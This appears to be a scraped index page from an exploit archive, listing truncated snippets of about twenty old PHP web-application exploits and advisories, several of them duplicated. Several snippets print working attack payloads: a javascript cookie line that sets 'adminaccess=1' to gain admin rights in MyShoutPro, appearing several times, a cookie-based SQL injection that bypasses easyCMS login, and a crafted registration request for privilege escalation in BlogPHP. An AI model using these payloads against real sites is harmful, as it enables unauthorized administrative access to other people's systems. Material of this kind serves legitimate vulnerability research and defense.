BlogPHP 2.0 - Privilege Escalation / SQL Injection

!/usr/bin/perl BlogPHP 2.0 Remote Privilege Escalation Exploit Author : Cod3rZ Site : http://cod3rz.helloweb.eu Site : http://devilsnight.altervista.org Cuz We Back Rude This Time Privilege Escalation Send a request to http://127.0.0.1/BlogPHPv2/index.php?act=register2 with:...

MyShoutPro 1.2 Final Insecure Cookie Handling Vulnerability

No description provided by source. -------- Discoverd By :Stack Home : http://v4-team.com --- exploit: javascript:document.cookie = "adminaccess=1; path=/"; document.cookie = "adminaccess=1; path=/";...

MyShoutPro 1.2 - Final Insecure Cookie Handling

MyShoutPro 1.2 - Final Insecure Cookie Handling ...:::::MyShoutPro Insecure Cookie Handling Vulnerability ::::.... -------- Discoverd By :Stack Home : http://v4-team.com --- exploit: javascript:document.cookie = "adminaccess=1; path=/"; document.cookie = "adminaccess=1; path=/"; ----- milw0rm.com...

myshoutpro-cookie.txt

...:::::MyShoutPro Insecure Cookie Handling Vulnerability ::::.... -------- Discoverd By :Stack Home : http://v4-team.com --- exploit: javascript:document.cookie = "adminaccess=1; path=/"; document.cookie = "adminaccess=1; path=/"; -----...

SH-News 3.0 Insecure Cookie Handling Vulnerability

Exploit for unknown platform in category web applications ================================================== SH-News 3.0 Insecure Cookie Handling Vulnerability ================================================== ...:::::SH-News 3.0 Insecure Cookie Handling Vulnerability ::::.... -------- Discoverd...

PHPEasyData 1.5.4 Multiple Vulnerabilities

------------- PHPEasyData ------------- Informations : Langage : PHP Version : 1.5.4 Website : http://www.phpeasydata.com/ Problems : Multiple vulnerabilities Description: PHPEasyData is a PHP application which allow you to manage and display on the web your dynamics data and directories. Details...

Realm CMS <= 2.3 Multiple Remote Vulnerabilities

No description provided by source. www.BugReport.ir AmnPardaz Security Research Team Title: Realm CMS Multiple Vulnerabilities Lead to Admin Access. Vendor: www.realmproject.com Vulnerable Version: 2.3 and prior versions Exploit: Available Impact: High Fix: N/A Original Advisory:...

realm CMS 2.3 - Multiple Vulnerabilities

realm CMS 2.3 - Multiple Vulnerabilities www.BugReport.ir AmnPardaz Security Research Team Title: Realm CMS Multiple Vulnerabilities Lead to Admin Access. Vendor: www.realmproject.com Vulnerable Version: 2.3 and prior versions Exploit: Available Impact: High Fix: N/A Original Advisory:...

realm CMS 2.3 - Multiple Vulnerabilities

www.BugReport.ir AmnPardaz Security Research Team Title: Realm CMS Multiple Vulnerabilities Lead to Admin Access. Vendor: www.realmproject.com Vulnerable Version: 2.3 and prior versions Exploit: Available Impact: High Fix: N/A Original Advisory: http://bugreport.ir/index.php?/40 1. Description:...

realmcms-multi.txt

www.BugReport.ir AmnPardaz Security Research Team Title: Realm CMS Multiple Vulnerabilities Lead to Admin Access. Vendor: www.realmproject.com Vulnerable Version: 2.3 and prior versions Exploit: Available Impact: High Fix: N/A Original Advisory: http://bugreport.ir/index.php?/40 1. Description:...

CVE-2008-2347

CVE-2008-2347 affects MyPicGallery 1.0. A flaw allows remote attackers to bypass authentication and gain administrative access by setting the userID parameter to "admin" in a direct request to admin/addUser.php, effectively enabling unauthorized admin creation. Root cause: insufficient authorizat...

CVE-2008-2349

CVE-2008-2349 affects Zomplog,

easyCMS <= 0.4.2 Multiple Remote Vulnerabilities

No description provided by source. --==+================================================================================+==-- --==+ easyCMS = 0.4.2 Multiple Remote Vulnerabilitys +==-- --==+================================================================================+==-- Discovered By: t0pP8u...

easycms-multi.txt

--==+================================================================================+==-- --==+ easyCMS 0.2 allows a simple sql statement to be inserted into the cookie bypassing the admin login. see below for the vulnerabilitys. SQL Injection version = 0.2: javascript:document.cookie = "user=' ...

Easycms 0.4.2 - Multiple Vulnerabilities

Easycms 0.4.2 - Multiple Vulnerabilities --==+================================================================================+==-- --==+ easyCMS 0.2 allows a simple sql statement to be inserted into the cookie bypassing the admin login. see below for the vulnerabilitys. SQL Injection version =...

easyCMS <= 0.4.2 Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ================================================ easyCMS 0.2 allows a simple sql statement to be inserted into the cookie bypassing the admin login. see below for the vulnerabilitys. SQL Injection version = 0.2: javascript:document.cookie ...

Easycms 0.4.2 - Multiple Vulnerabilities

--==+================================================================================+==-- --==+ easyCMS 0.2 allows a simple sql statement to be inserted into the cookie bypassing the admin login. see below for the vulnerabilitys. SQL Injection version = 0.2: javascript:document.cookie = "user=' ...

Web Slider 0.6 - Insecure CookieAuthentication Handling

Web Slider 0.6 - Insecure CookieAuthentication Handling --==+================================================================================+==-- --==+ Web Slider = 0.6 Insecure Cookie/Authentication Handling +==--...

activekb-cookie.txt

--==+================================================================================+==-- --==+ ActiveKB = 1.5 Insecure Cookie Handling/Arbitrary Admin Access +==-- --==+================================================================================+==-- Discovered By: t0pP8uZz Discovered On: 1...

internetphotoshow-cookie.txt

--==+================================================================================+==-- --==+ Internet Photoshow Special Edition Insecure Cookie Handling +==-- --==+================================================================================+==-- Discovered By: t0pP8uZz Discovered On: 14 M...